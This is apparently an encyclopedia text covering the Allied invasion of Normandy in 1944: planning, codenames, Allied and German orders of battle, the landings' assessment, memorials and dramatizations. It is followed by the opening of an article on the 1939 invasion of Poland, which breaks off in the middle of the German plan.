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          The objective of the operation was to create a lodgement that would be anchored in the city of Caen (and later Cherbourg when its deep-water port would be captured). As long as Normandy could be secured, the Western European campaign and the downfall of Nazi Germany could begin. About 6,900 vessels would be involved in the invasion, under the command of Admiral Sir Bertram Ramsay (who had been directly involved in the North African and Italian landings), including 4,100 landing craft. A total of 12,000 aircraft under Air Marshal Sir Trafford Leigh-Mallory were to support the landings, including 1,000 transports to fly in the parachute troops; 10,000 tons of bombs would be dropped against the German defenses, and 14,000 attack sorties would be flown.


          Some of the more unusual Allied preparations included armoured vehicles specially adapted for the assault. Developed under the leadership of Maj. Gen. Percy Hobart (Montgomerys brother-in-law, and an armoured warfare specialist), these vehicles (nicknamed Hobart's Funnies) included "swimming" Duplex Drive Sherman tanks, the Churchill Crocodile flame throwing tank, mine-clearing tanks, bridge-laying tanks and road-laying tanks and the Armoured Vehicle, Royal Engineers ( AVRE)equipped with a large-caliber mortar for destroying concrete emplacements. Some prior testing of these vehicles had been undertaken at Kirkham Priory in Yorkshire, England. The majority would be operated by small teams from the British 79th Armoured Division attached to the various formations.
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          Planning of the Invasion


          Allied forces rehearsed their roles for D-Day months before the invasion. On April 28, 1944, in south Devon on the English coast, 638 U.S. soldiers and sailors were killed when German torpedo boats surprised one of these landing exercises, Exercise Tiger.


          In the months leading up to the invasion, the Allies conducted a deception operation, Operation Fortitude aimed at misleading the Germans regarding the date and place of the invasion.


          There were several leaks prior to or on D-Day. One such leak was the crossword that came out in The Herald and Review six days before the beach landings were to take place. Some of the answers consisted of Overlord, Neptune, Gold and other key terms to the invasions; the US government later declared that this was just a coincidence. Through the Cicero affair, the Germans obtained documents containing references to Overlord, but these documents lacked all detail. Double Cross agents, such as Juan Pujol (code named Garbo), played an important role in convincing the German High Command that Normandy was at best a diversionary attack. Another such leak was Gen. Charles de Gaulle's radio message after D-Day. He, unlike all the other leaders, stated that this invasion was the real invasion. This had the potential to ruin the Allied deceptions Fortitude North and Fortitude South. For example, Gen. Eisenhower referred to the landings as the initial invasion.


          


          Codenames


          The Allies assigned codenames to the various operations involved in the invasion. Overlord was the name assigned to the establishment of a large-scale lodgement on the Continent. The first phase, the establishment of a secure foothold, was codenamed Neptune. According to the D-day museum:


          
            	"The armed forces use codenames to refer to the planning and execution of specific military operations. Operation Overlord was the codename for the Allied invasion of northwest Europe. The assault phase of Operation Overlord was known as Operation Neptune. (...) Operation Neptune began on D-Day ( 6 June 1944) and ended on 30 June 1944. By this time, the Allies had established a firm foothold in Normandy. Operation Overlord also began on D-Day, and continued until Allied forces crossed the River Seine on 19 August 1944."

          


          


          Allied Order of Battle
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              D-day assault routes into Normandy.
            

          


          


          D-Day


          The following major units were landed on D-Day. A much more detailed order of battle for D-Day itself can be found at Normandy landings.


          
            	British 6th Airborne Division.


            	British I Corps, British 3rd Infantry Division and the British 27th Armoured Brigade.


            	Canadian 3rd Infantry Division, Canadian 2nd Armoured Brigade


            	British XXX Corps, British 50th Infantry Division and British 8th Armoured Brigade.


            	79th Armoured Division


            	U.S. V Corps, U.S. 1st Infantry Division and U.S. 29th Infantry Division.


            	U.S. VII Corps, U.S. 4th Infantry Division.


            	U.S. 101st Airborne Division.


            	U.S. 82nd Airborne Division.

          


          The total number of troops landed on D-Day was around 130,000-156,000


          


          Subsequent days


          The total troops, vehicles and supplies landed over the period of the invasion were:


          
            	By the end of 11 June (D + 5), 326,547 troops, 54,186 vehicles and 104,428 tons of supplies.


            	By June 30th (D+24) over 850,000 men, 148,000 vehicles, and 570,000 tons of supplies.


            	By July 4th one million men had been landed.

          


          


          Naval participants
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              Large landing craft convoy crosses the English Channel on June 6, 1944.
            

          


          The Invasion Fleet was drawn from 8 different navies, comprising 6,939 vessels: 1,213 warships, 4,126 transport vessels (landing ships and landing craft), and 736 ancillary craft and 864 merchant vessels.


          The overall commander of the Allied Naval Expeditionary Force, providing close protection and bombardment at the beaches, was Admiral Sir Bertram Ramsay. The Allied Naval Expeditionary Force was divided into two Naval Task Forces: Western (Rear-Admiral Alan G Kirk) and Eastern (Rear-Admiral Sir Philip Vian).


          The warships provided cover for the transports against the enemywhether in the form of surface warships, submarines, or as an aerial attackand gave support to the landings through shore bombardment. These ships included the Allied Task Force "O".


          


          German Order of Battle


          The number of military forces at the disposal of Nazi Germany reached its peak during 1944. Tanks on the east front peaked at 5,202 in November 1944, while total aircraft in the Luftwaffe inventory peaked at 5,041 in December 1944. By D-Day 157 German divisions were stationed in the Soviet Union, 6 in Finland, 12 in Norway, 6 in Denmark, 9 in Germany, 21 in the Balkans, 26 in Italy and 59 in France, Belgium and the Netherlands. However, these statistics are somewhat misleading since a significant number of the divisions in the east were depleted; German records indicate that the average personnel complement was at about 50% in the spring of 1944.


          A more detailed order of battle for D-Day itself can be found at Normandy landings.


          


          Atlantic Wall
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              A map of the Atlantic Wall.
            

          


          Standing in the way of the Allies was the English Channel, a crossing which had eluded the Spanish Armada and Napoleon Bonaparte's Navy. Compounding the invasion efforts was the extensive Atlantic Wall, ordered by Hitler in his Directive 51. Believing that any forthcoming landings would be timed for high tide (this caused the landings to be timed for low tide), Rommel had the entire wall fortified with tank top turrets and extensive barbed wire, and laid a million mines to deter landing craft. The sector which was attacked was guarded by four divisions.


          


          Divisional Areas


          The following units were deployed in a static defensive mode in the areas of the actual landings:


          
            	716th Infantry Division (Static) consisted mainly of those 'unfit for active duty' and released prisoners.


            	352nd Infantry Division, a well-trained unit containing combat veterans.


            	91st Air Landing Division (Luftlande  air transported), a regular infantry division, trained, and equipped to be transported by air.


            	709th Infantry Division (Static). Like the 716th, this division comprised a number of "Ost" units who were provided with German leadership to manage them.

          


          


          Adjacent Divisional Areas


          Other divisions occupied the areas around the landing zones, including:


          
            	243rd Infantry Division (Static) (Generalleutnant Heinz Hellmich), comprising the 920th Infantry Regiment (two battalions), 921st Infantry Regiment, and 922nd Infantry Regiment. This coastal defense division protected the western coast of the Cotentin Peninsula.


            	711th Infantry Division (Static), comprising the 731th Infantry Regiment, and 744th Infantry Regiment. This division defended the western part of the Pays de Caux.


            	30th Mobile Brigade (Oberstleutnant Freiherr von und zu Aufsess), comprising three bicycle battalions.

          


          


          Armoured reserves


          Rommel's defensive measures were also frustrated by a dispute over armoured doctrine. In addition to his two army groups, von Rundstedt also commanded the headquarters of Panzer Group West under General Leo Geyr von Schweppenburg (usually referred to as von Geyr). This formation was nominally an administrative HQ for von Rundstedt's armoured and mobile formations, but it was later to be renamed Fifth Panzer Army and brought into the line in Normandy. Von Geyr and Rommel disagreed over the deployment and use of the vital Panzer divisions.


          Rommel recognised that the Allies would possess air superiority and would be able to harass his movements from the air. He therefore proposed that the armoured formations be deployed close to the invasion beaches. In his words, it was better to have one Panzer division facing the invaders on the first day, than three Panzer divisions three days later when the Allies would already have established a firm beachhead. Von Geyr argued for the standard doctrine that the Panzer formations should be concentrated in a central position around Paris and Rouen, and deployed en masse against the main Allied beachhead when this had been identified.


          The argument was eventually brought before Hitler for arbitration. He characteristically imposed an unworkable compromise solution. Only three Panzer divisions were given to Rommel, too few to cover all the threatened sectors. The remainder, nominally under Von Geyr's control, were actually designated as being in " OKW Reserve". Only three of these were deployed close enough to intervene immediately against any invasion of Northern France, the other four were dispersed in southern France and the Netherlands. Hitler reserved to himself the authority to move the divisions in OKW Reserve, or commit them to action. On June 6, many Panzer division commanders were unable to move because Hitler had not given the necessary authorisation, and his staff refused to wake him upon news of the invasion.


          


          Army Group B Reserve


          
            	The 21st Panzer Division (Generalmajor Edgar Feuchtinger) was deployed near Caen as a mobile striking force as part of the Army Group B reserve. However, Rommel placed it so close to the coastal defenses that, under standing orders in case of invasion, several of its infantry and anti-aircraft units would come under the orders of the fortress divisions on the coast, reducing the effective strength of the division.

          


          The other two armoured divisions over which Rommel had operational control, the 2nd Panzer Division and 116th Panzer Division, were deployed near the Pas de Calais in accordance with German views about the likely Allied landing sites. Neither was moved from the Pas de Calais for at least fourteen days after the invasion.


          


          OKW Reserve


          The other mechanized divisions capable of intervening in Normandy were retained under the direct control of the German Armed Forces HQ ( OKW) and were initially denied to Rommel:


          Four divisions were deployed to Normandy within seven days of the invasion:


          
            	The 12th SS Panzer Division Hitlerjugend (Brigadefhrer Fritz Witt) was stationed to the southeast. Its officers and NCOs (this division had a very weak core of NCOs in Normandy with only slightly more than 50% of its authorised strength) were long-serving veterans, but the junior soldiers had all been recruited directly from the Hitler Youth movement at the age of seventeen in 1943. It was to acquire a reputation for ferocity and war crimes in the coming battle.


            	Further to the southwest was the Panzerlehrdivision (General major Fritz Bayerlein), an elite unit originally formed by amalgamating the instructing staff at various training establishments. Not only were its personnel of high quality, but the division also had unusually high numbers of the latest and most capable armoured vehicles.


            	1st SS Panzer Division Leibstandarte SS Adolf Hitler was refitting in Belgium on the Netherlands border after being decimated on the Eastern Front.


            	17th SS Panzergrenadier Division Gtz von Berlichingen (General major Werner Ostendorff) was based on Thouars, south of the Loire River, and although equipped with Assault guns instead of tanks and lacking in other transport (such that one battalion each from the 37th and 38th Panzergrenadier Regiments moved by bicycle), it provided the first major counterattack against the American advance at Carentan on June 13.
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          Three other divisions (the 2nd SS Division Das Reich, which had been refitting at Montauban in Southern France, and the 9th SS Panzer Division Hohenstaufen and 10th SS Panzer Division Frundsberg which had been in transit from the Eastern Front on June 6), were committed to battle in Normandy around twenty-one days after the first landings.


          One more armoured division (the 9th Panzer Division) saw action only after the American breakout from the beachhead. Two other armoured divisions which had been in the west on June 6 (the 11th Panzer Division and 19th Panzer Division) did not see action in Normandy.


          


          Landings
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          Allied establishment in France


          The Allied invasion plans had called for the capture of Saint-L, Caen, and Bayeux on the first day, with all the beaches linked except Utah, and Sword (the last linked with paratroopers) and a front line 10 to 16 kilometres (610mi) from the beaches. However practically none of these objectives had been achieved. Overall the casualties had not been as heavy as some had feared (around 10,000 compared to the 20,000 Churchill had estimated) and the bridgeheads had withstood the expected counterattacks.


          Once the beachhead was established, two artificial Mulberry harbours were towed across the English Channel in segments and made operational around D+3 ( June 9). One was constructed at Arromanches by British forces, the other at Omaha Beach by American forces. By June 19, when severe storms interrupted the landing of supplies for several days and destroyed the Omaha harbour, the British had landed 314,547 men, 54,000 vehicles, and 102,000tons of supplies, while the Americans put ashore 314,504 men, 41,000 vehicles, and 116,000tons of supplies. Around 9,000tons of materiel were landed daily at the Arromanches harbour until the end of August 1944, by which time the port of Cherbourg had been secured by the Allies and had begun to return to service.


          


          Assessment of the battle
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          The Normandy landings were the first successful opposed landings across the English Channel in nine centuries. They were costly in terms of men, but the defeat inflicted on the Germans was one of the largest of the war. Strategically, the campaign led to the loss of the German position in most of France and the secure establishment of a new major front. Allied material weight told heavily in Normandy, as did intelligence and deception plans. The general Allied concept of the battle was sound, drawing on the strengths of both Britain and the United States. German dispositions and leadership were often faulty, despite a credible showing on the ground by many German units. In larger context the Normandy landings helped the Soviets on the Eastern front, who were facing the bulk of the German forces and, to a certain extent, contributed to the shortening of the conflict there.


          Although there was a shortage of artillery ammunition, at no time were the Allies critically short of any necessity. This was a remarkable achievement considering they did not hold a port until Cherbourg fell. By the time of the breakout the Allies also enjoyed a considerable superiority in numbers of troops (approximately 7:2) and armoured vehicles (approximately 4:1) which helped overcome the natural advantages the terrain gave to the German defenders.


          Allied intelligence and counterintelligence efforts were successful beyond expectations. The Operation Fortitude deception before the invasion kept German attention focused on the Pas de Calais, and indeed high-quality German forces were kept in this area, away from Normandy, until July. Prior to the invasion, few German reconnaissance flights took place over Britain, and those that did saw only the dummy staging areas. Ultra decrypts of German communications had been helpful as well, exposing German dispositions and revealing their plans such as the Mortain counterattack.


          Allied air operations also contributed significantly to the invasion, via close tactical support, interdiction of German lines of communication (preventing timely movement of supplies and reinforcementsparticularly the critical Panzer units), and rendering the Luftwaffe ineffective in Normandy. Although the impact upon armoured vehicles was less than expected, air activity intimidated these units and cut their supplies.


          Despite initial heavy losses in the assault phase, Allied morale remained high. Casualty rates among all the armies were tremendous, and the Commonwealth forces had to create a new categoryDouble Intenseto be able to describe them.


          


          German leadership


          German commanders at all levels failed to react to the assault phase in a timely manner. Communications problems exacerbated the difficulties caused by Allied air and naval firepower. Local commanders also seemed unequal to the task of fighting an aggressive defense on the beach, as Rommel envisioned. For example, the commander of the German 352nd Infantry Division failed to capitalise on American difficulty at Omaha, committing his reserves elsewhere when they might have been more profitably used against the American beachhead.


          The German High Command remained fixated on the Calais area, and von Rundstedt was not permitted to commit the armoured reserve. When it was finally released late in the day, any chance of success was much more difficult. Overall, despite considerable Allied material superiority, the Germans kept the Allies bottled up in a small beachhead for nearly two months, aided immeasurably by terrain factors.


          Although there were several well-known disputes among the Allied commanders, their tactics and strategy were essentially determined by agreement between the main commanders. By contrast, the German leaders were bullied and their decisions interfered with by Hitler, controlling the battle from a distance with little knowledge of local conditions. Field Marshals von Rundstedt and Rommel repeatedly asked Hitler for more discretion but were refused. Von Rundstedt was removed from his command on June 29 after he bluntly told the Chief of Staff at Hitler's Armed Forces HQ (Field Marshal Keitel) to "Make peace, you idiots!" Rommel was severely injured by Allied aircraft on July 16.


          The German commanders also suffered in the quality of the available troops. Sixty thousand of the 850,000 in Rundstedt's command were raised from the many prisoners of war captured on the Eastern Front. These "Ost" units had volunteered to fight against Stalin, but when instead unwisely used to defend France against the Western Allies, ended up being unreliable. Many surrendered or deserted at the first available opportunity.


          Given the Soviets' later domination of Eastern Europe, if the Normandy invasion had not occurred there might conceivably have been a complete occupation of northern and western Europe by communist forces, a contention which is supported by Stalin's statement that the Allies introduced their social system as far as their armies could reach. This is an opinion heavily disputed by the fact that Stalin requested a prompt Western invasion several times during the Teheran Conference and accused Churchill of not supporting the operation.


          Alternately, Hitler might have deployed more forces to the Eastern Front, conceivably delaying Soviet advance beyond their pre-war border. In practice though, German troops remained in the West even in the absence of an invasion.


          


          War memorials and tourism
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          The beaches at Normandy are still referred to on maps and signposts by their invasion codenames. There are several vast cemeteries in the area. The American cemetery, in Colleville-sur-Mer, contains row upon row of identical white crosses and Stars of David, immaculately kept, commemorating the American dead. Commonwealth graves, in many locations, use white headstones engraved with the person's religious symbol and their unit insignia. The largest cemetery in Normandy is the La Cambe German war cemetery, which features granite stones almost flush with the ground and groups of low-set crosses. There is also a Polish cemetery.


          Streets near the beaches are still named after the units that fought there, and occasional markers commemorate notable incidents. At significant points, such as Pointe du Hoc and Pegasus Bridge, there are plaques, memorials or small museums. The Mulberry harbour still sits in the sea at Arromanches. In Sainte-Mre-glise, a dummy paratrooper hangs from the church spire. On Juno Beach, the Canadian government has built the Juno Beach Information Centre, commemorating one of the most significant events in Canadian military history.


          In England the most significant memorial is the D-Day Museum in Southsea, Hampshire. The Museum was opened in 1984 to commemorate the 40th Anniversary of D-Day. Its centrepiece is the magnificent Overlord Embroidery commissioned by Lord Dulverton of Batsford (1915-92) as a tribute to the sacrifice and heroism of those men and women who took part in Operation Overlord.


          June 5, 1994 a drumhead service was held on Southsea Common adjacent the D-Day Museum. This service was attended by US President Bill Clinton, HM Queen Elizabeth II and over 100,000 members of the public.


          


          Dramatizations


          The battle of Normandy has been the topic of many films, television shows, songs, computer games and books. Many dramatizations focus on the initial landings, and these are covered at Normandy Landings. Some examples that cover the wider battle include:


          
            	Films

          


          
            	Saving Private Ryan, a 1998 Academy Award-winning American film directed by Steven Spielberg and starring Tom Hanks and Matt Damon.


            	Band of Brothers, a 2001 American miniseries produced by Steven Spielberg and Tom Hanks based on the book of the same name by Stephen Ambrose.

          


          
            	Video games

          


          
            	Brothers in Arms series


            	Call of Duty series


            	Close Combat series


            	Company of Heroes


            	Day of Defeat


            	Medal of Honour series

          


          
            	Wargames

          


          
            	Atlantic Wall, a large 1970s American board wargame by SPI depicting the battle from the landings through to the breakout, at company and battalion level, and using a similar game system to Wacht Am Rhein. Due to be reprinted in 2008.


            	"Breakout: Normandy", an American board wargame published by Avalon Hill in 1992 covers the full invasion, starting with D-day and covering the week following.


            	"Memoir 44", an American and French two player game that was released for the 60th anniversary of the D-Day landings. With available expansions, you can go from the Landings at D-Day, to the Eastern Front, to the beaches of Japanese held islands.

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Invasion_of_Normandy"
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              German battleship Schleswig-Holstein, shelling Westerplatte, September 1, 1939.
            


            
              	
                
                  
                    	Date

                    	1 September  6 October 1939
                  


                  
                    	Location

                    	Poland
                  


                  
                    	Result

                    	Decisive Axis and Soviet victory; Polish territory split between Germany and the USSR
                  

                

              
            


            
              	Belligerents
            


            
              	[image: Flag of Poland] Poland

              	[image: Flag of Slovakia] Slovakia
            


            
              	Commanders
            


            
              	[image: Flag of Poland] Edward Rydz-Śmigły

              	[image: Flag of Slovakia] Ferdinand Čatlo

              ( Field Army Bernolk)
            


            
              	Strength
            


            
              	Poland:

              39 divisions,

              16 brigades,

              4,300 guns,

              880 tanks,

              400 aircraft

              Total: 950,000

              	Germany:

              56 divisions,

              4 brigades,

              9,000 guns,

              2,500 tanks,

              2,315 aircraft

              Soviet Union:

              33+ divisions,

              11+ brigades,

              4,959 guns,

              4,736 tanks,

              3,300 aircraft

              Slovakia:

              3 divisions

              Total:

              1,500,000 Germans,

              800,000+ Soviets,

              50,000 Slovaks

              Grand total: 2,350,000+
            


            
              	Casualties and losses
            


            
              	Poland:

              66,000 dead,

              133,700 wounded,

              694,000 captured

              	Germany:

              16,343 dead,

              27,280 wounded,

              320 missing

              Soviet Union:

              737 dead or missing,

              1,125 wounded

              Slovakia:

              18 dead,

              46 wounded,

              11 missing
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          The Invasion of Poland, 1939 (in Poland also "the September Campaign," "Kampania wrześniowa," and "the 1939 Defensive War," "Wojna obronna 1939 roku"; in Germany, "the Poland Campaign," "Polenfeldzug," codenamed " Fall Weiss," "Case White," by the German General Staff, and sometimes called "the Polish-German War of 1939"), which precipitated World War II, was carried out by Nazi Germany, the Soviet Union and a small German-allied Slovak contingent.


          The invasion of Poland marked the start of World War II in Europe, as Poland's western allies, the United Kingdom, Australia and New Zealand, declared war on Germany on September 3, soon followed by France, South Africa and Canada, among others. The invasion began on September 1, 1939, one week after the signing of the Molotov-Ribbentrop Pact, and ended October 6, 1939, with Germany and the Soviet Union occupying the entirety of Poland. Although the United Kingdom and France declared war on Germany soon after Germany attacked Poland, very little direct military aid was provided (see Phoney War and Western betrayal).


          Following a German-staged "Polish attack" on August 31, 1939, on September 1, German forces invaded Poland from the north, south, and west. Spread thin defending their long borders, the Polish armies were soon forced to withdraw eastward. After the mid-September Polish defeat in the Battle of the Bzura, the Germans gained an undisputed advantage. Polish forces then began a withdrawal southeast, following a plan that called for a long defense in the Romanian bridgehead area, where the Polish forces were to await an expected Allied counterattack and relief.


          On September 17, 1939, the Soviet Red Army invaded the eastern regions of Poland in cooperation with Germany. The Soviets were carrying out their part of the secret appendix of the Molotov-Ribbentrop Pact, which divided Eastern Europe into Nazi and Soviet spheres of influence. Facing the second front, the Polish government decided the defense of the Romanian bridgehead was no longer feasible and ordered the evacuation of all troops to neutral Romania. By October 1, Germany and the Soviet Union completely overran Poland, although the Polish government never surrendered. In addition, Poland's remaining land and air forces were evacuated to neighboring Romania and Hungary. Many of the exiles subsequently joined the recreated Polish Army in allied France, French-mandated Syria, and the United Kingdom.


          In the aftermath of the September Campaign, a resistance movement was formed. Poland's fighting forces continued to contribute to Allied military operations throughout World War II. Germany captured the Soviet-occupied areas of Poland when it invaded the Soviet Union on June 22, 1941, and lost the territory in 1944 to an advancing Red Army. Over the course of the war, Poland lost over 20% of its pre-war population under an occupation that marked the end of the Second Polish Republic.


          


          Opposing forces


          


          Germany
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          Germany had a substantial numerical advantage over Poland and had developed a significant military prior to the conflict. The Heer (army) had some 2,400 tanks organized into six panzer divisions, utilizing a new operational doctrine. It held that these divisions should act in coordination with other elements of the military, punching holes in the enemy line and isolating selected units, which would be encircled and destroyed. This would be followed up by less-mobile mechanized infantry and foot soldiers. The Luftwaffe (air force) provided both tactical and strategic air power, particularly dive bombers that disrupted lines of supply and communications. Together, the new methods were nicknamed Blitzkrieg (lightning war). Historian Basil Liddell Hart and A. J. P. Taylor conclude "Poland was a full demonstration of the Blitzkrieg theory."


          Aircraft played a major role in the campaign. Bombers also attacked cities, causing huge losses amongst the civilian population through terror bombing. The Luftwaffe forces consisted of 1,180 fighter aircraft: 290 Ju 87 Stuka dive bombers, 1,100 conventional bombers (mainly He 111s and Dornier Do 17s), and an assortment of 550 transport and 350 reconnaissance aircraft. In total, Germany had close to 4,000 aircraft, all up to modern standards. A force of 2,315 aircraft were assigned to Weiss. Due to its prior participation in the Spanish Civil War, the Luftwaffe was probably the most experienced, best trained and well equipped air force in the world in 1939.


          


          Poland
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          Between 1936 and 1939, Poland invested heavily in industrialization in the Central Industrial Region. Preparations for a defensive war with Germany were ongoing for many years, but most plans assumed fighting would not begin before 1942. To raise funds for industrial development, Poland sold much of the modern equipment it produced. In 1936, a National Defence Fund was set up collect funds necessary for strengthening the Polish Armed forces. The Polish Army had approximately a million soldiers, but less than half of them were mobilized by September 1. Latecomers sustained significant casualties when public transport became targets of the Luftwaffe. The Polish military had fewer armoured forces than the Germans, and these units, dispersed within the infantry, were unable to effectively engage the enemy.


          Experiences in the Polish-Soviet War shaped Polish Army organisational and operational doctrine. Unlike the trench warfare of the First World War, the Polish-Soviet War was a conflict in which the cavalry's mobility played a decisive role. Poland acknowledged the benefits of mobility but was unwilling to invest heavily in many of the expensive, unproven inventions since then. In spite of this, Polish cavalry brigades were used as a mobile mounted infantry and had some successes against both German infantry and cavalry.
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          The Polish Air Force (Lotnictwo Wojskowe) was at a severe disadvantage against the German Luftwaffe, although it was not destroyed on the ground early on, as is commonly believed. The Polish Air Force lacked modern fighter aircraft, but its pilots were among the world's best trained, as proven a year later in the Battle of Britain, in which the Poles played a major part.


          Overall, the Germans enjoyed numerical and qualitative aircraft superiority. Poland had only about 600 modern aircraft. The Polish Air Force had roughly 185 PZL P.11 and some 95 PZL P.7 fighters, 175 PZL.23 Karaś B, 35 Karaś A, and by September, over 100 PZL.37 Łoś were produced. There were also over a thousand obsolete transport, reconnaissance and training aircraft. However, for the September Campaign, only some 70% of those aircraft were mobilised. Only 36 PZL.37 Łoś bombers were deployed. All those aircraft were of indigenous Polish design, with the bombers being more modern than fighters, according to the Ludomil Rayski air force expansion plan, which relied on a strong bomber force. The Polish fighters were a generation older than their German counterparts. The Polish PZL P.11 fighter, produced in the early 1930s, was capable of only 365 km/h (approximately 220 mi/hr), far less than German bombers; to compensate, the pilots relied on its maneuvrability and high diving speed.


          The Polish Navy was a small fleet comprising of destroyers, submarines and smaller support vessels. Most Polish surface units followed Operation Peking, leaving Polish ports on August 20 and escaping by way of the North Sea to join with the British Royal Navy. Submarine forces participated in Operation Worek, with the goal of engaging and damaging German shipping in the Baltic Sea, but they had much less success. In addition, many merchant marine ships joined the British merchant fleet and took part in wartime convoys.


          The tank force consisted of two armoured brigades, four independent tank battalions and some 30 companies of TKS tankettes attached to infantry divisions and cavalry brigades.


          


          Soviet Union


          


          Slovakia


          


          Order of battle


          
            
              	
                Order of battle of Poland:


                
                  	Polish army order of battle in 1939


                  	Polish Air Force order of battle in 1939


                  	Polish Navy order of battle in 1939


                  	Polish armaments 1939-1945

                

              

              	
                Order of battle of invading forces:


                
                  	German order of battle for Operation Fall Weiss


                  	Soviet order of battle for invasion of Poland in 1939

                

              
            

          


          


          Prelude to the campaign


          The Nazi Party, led by Adolf Hitler, took power in Germany in 1933. At first, Hitler pursued a policy of rapprochement with Poland, culminating in the German-Polish Non-Aggression Pact of 1934. Early foreign policy worked to maneuver Poland into the Anti-Comintern Pact, forming a cooperative front against the Soviet Union. Germany sought to grab Soviet territory, acquire Lebensraum and expand Grodeutschland. Poland would be granted territory of its own, to its northeast, but the concessions the Poles were expected to make meant that their homeland would become largely dependent on Germany, functioning as little more than a client state and Polish independence would eventually be threatened altogether.


          In addition to Soviet territory, the Nazis were also interested in establishing a new border with Poland because the German exclave of East Prussia returned to its former status as an exclave which it enjoyed in 1657-1772 as part of Brandenburg by being separated from the rest of the Reich by the " Polish Corridor". Many Germans also wanted to incorporate the Free City of Danzig into Germany. While Danzig had a predominantly German population, the Corridor constituted land long disputed by Poland and Germany. After the Treaty of Versailles, Poland acquired the Corridor, which was part of territory taken by Prussia in Partitions of Poland. Hitler sought to reverse this trend and made an appeal to German nationalism, promising to "liberate" the German minority still in the Corridor, as well as Danzig, since the port city was under the control of the League of Nations.


          Poland participated in the partition of Czechoslovakia that followed the Munich Agreement, although they were not part of the agreement. It coerced Czechoslovakia to surrender the city of Česk Těn by issuing an ultimatum to that effect on September 30, which was accepted by Czechoslovakia on October 1.


          In 1938, Germany began to increase its demands for Danzig, while proposing that a roadway be built in order to connect East Prussia with Germany proper, running through the Polish Corridor. Poland rejected this proposal, fearing that after accepting these demands, it would become increasingly subject to the will of Germany and eventually lose its independence as the Czechs had. The Poles also distrusted Hitler and his intentions. At the same time, Germany's collaboration with anti-Polish Ukrainian nationalists from the Organization of Ukrainian Nationalists further weakened German credibility in Polish eyes, which was seen as an effort to isolate and weaken Poland. The British were also aware of this. On March 30, Poland was backed by a guarantee from Britain and France, though neither country was willing to pledge military support in Poland's defense. British Prime Minister Neville Chamberlain and his Foreign Secretary, Lord Halifax, still hoped to strike a deal with Hitler regarding Danzig (and possibly the Polish Corridor), and Hitler hoped for the same. By again resorting to appeasement, Chamberlain and his supporters believed war could be avoided and hoped Germany would agree to leave the rest of Poland alone. German hegemony over Central Europe was also at stake.
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          With tensions mounting, Germany turned to aggressive diplomacy. On April 28, 1939, it unilaterally withdrew from both the German-Polish Non-Aggression Pact of 1934 and the London Naval Agreement of 1935. In early 1939, Hitler had already issued orders to prepare for a possible "solution of the Polish problem by military means." Another crucial step towards war was the surprise signing of the Molotov-Ribbentrop Pact on August 23, the denouement of secret Nazi-Soviet talks held in Moscow, which capitalized on France and Britain's own failure to secure an alliance with the Soviet Union. As a result, Germany neutralized the possibility of Soviet opposition to a campaign against Poland. In a secret protocol of this pact, the Germans and the Soviets agreed to divide Eastern Europe, including Poland, into two spheres of influence; the western third of the country was to go to Germany and the eastern two-thirds to the Soviet Union.


          The German assault was originally scheduled to begin at 04:00 on August 26. However, on August 25, the Polish-British Common Defence Pact was signed as an annex to the Franco-Polish Military Alliance. In this accord, Britain committed itself to the defence of Poland, guaranteeing to preserve Polish independence. At the same time, the British and the Poles were hinting to Berlin that they were willing to resume discussions - not at all how Hitler hoped to frame the conflict. Thus, he wavered and postponed his attack until September 1, managing to halt the entire invasion "in mid-leap", with the exception of a few units that were out of communication, towards the south (the Nazi press announced that fanatical Slovakians were behind a cross border raid).


          On August 26, Hitler tried to dissuade the British and the French from interfering in the upcoming conflict, even pledging that the Wehrmacht forces would be made available to Britain's empire in the future. In any case, the negotiations convinced Hitler that there was little chance the Western Allies would declare war on Germany, and even if they did, because of the lack of territorial guarantees to Poland, they would be willing to negotiate a compromise favourable to Germany after its conquest of Poland. Meanwhile, the number of increased overflights by high-altitude reconnaissance aircraft and cross border troop movements signalled that war was imminent.


          On August 29, prompted by the British, Germany issued one last diplomatic offer, with Case White yet to be rescheduled. At midnight on August 29, German Foreign Minister Joachim von Ribbentrop handed British Ambassador Sir Neville Henderson the list of terms which would allegedly ensure peace in regards to Poland. Danzig was to be returned to Germany ( Gdynia would remain with Poland), and there was to be a plebiscite in the Polish Corridor, based on residency in 1919, within the year. An exchange of minority populations between the two countries was proposed. A Polish plenipotentiary, with full powers, was to arrive in Berlin and accept these terms by noon the next day. The British Cabinet viewed the terms as "reasonable", except the demand for the urgent plenipotentiary, a form of an ultimatum. When Polish Ambassador Lipski went to see Ribbentrop on August 30, he announced that he did not have the full power to sign, and Ribbentrop dismissed him. It was then broadcast that Poland had rejected Germany's offer, and negotiations with Poland came to an end.


          On August 30, the Polish Navy sent its destroyer flotilla to Britain, executing Operation Peking. On the same day, Marshal of Poland Edward Rydz-Śmigły announced the mobilization of Polish troops. However, he was pressured into revoking the order by the French, who apparently still hoped for a diplomatic settlement, failing to realize that the Germans were fully mobilized and concentrated at the Polish border. During the night of August 31, the Gleiwitz incident (" Polish" attack on the radio station) was staged near the German border city of Gleiwitz, in Upper Silesia. On August 31, 1939, Hitler ordered hostilities against Poland to start at 4:45 the next morning. Because of the prior stoppage, Poland managed to mobilise only 70% of its planned forces, and many units were still forming or moving to their designated frontline positions.


          


          Details of the campaign
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          Plans


          


          German plan


          The German plan for what became known as the September Campaign was devised by General Franz Halder, chief of the general staff, and directed by General Walther von Brauchitsch, the commander in chief of the upcoming campaign. It called for the start of hostilities before a declaration of war, and pursued a doctrine of mass encirclement and destruction of enemy forces. The infantry - far from completely mechanized but fitted with fast moving artillery and logistic support - was to be supported by German tanks and small numbers of truck-mounted infantry (the Schtzen regiments, forerunners of the panzergrenadiers) to assist the rapid movement of troops and concentrate on localized parts of the enemy front, eventually isolating segments of the enemy, surrounding, and destroying them. The pre-war armored idea (which an American journalist in 1939 dubbed Blitzkrieg), which was advocated by some generals, including Heinz Guderian, would have had the armor punching holes in the enemy's front and ranging deep into rear areas, but in actuality, the campaign in Poland would be fought along more traditional lines. This stemmed from conservatism on the part of the German high command, who mainly restricted the role of armor and mechanized forces to supporting the conventional infantry divisions.


          Poland's terrain was well suited for mobile operations when the weather cooperated - the country had flat plains with long frontiers totalling almost 5,600 kilometres (3,500 mi), Poland's long border with Germany on the west and north (facing East Prussia) extended 2,000 kilometres (1,250 mi). Those had been lengthened by another 300 kilometres (180 mi) on the southern side in the aftermath of the Munich Agreement of 1938; the German incorporation of Bohemia and Moravia and creation of the German puppet state of Slovakia meant that Poland's southern flank was exposed.


          German planners intended to fully exploit their long border with the great enveloping manoeuvre of Fall Weiss. German units were to invade Poland from three directions:


          
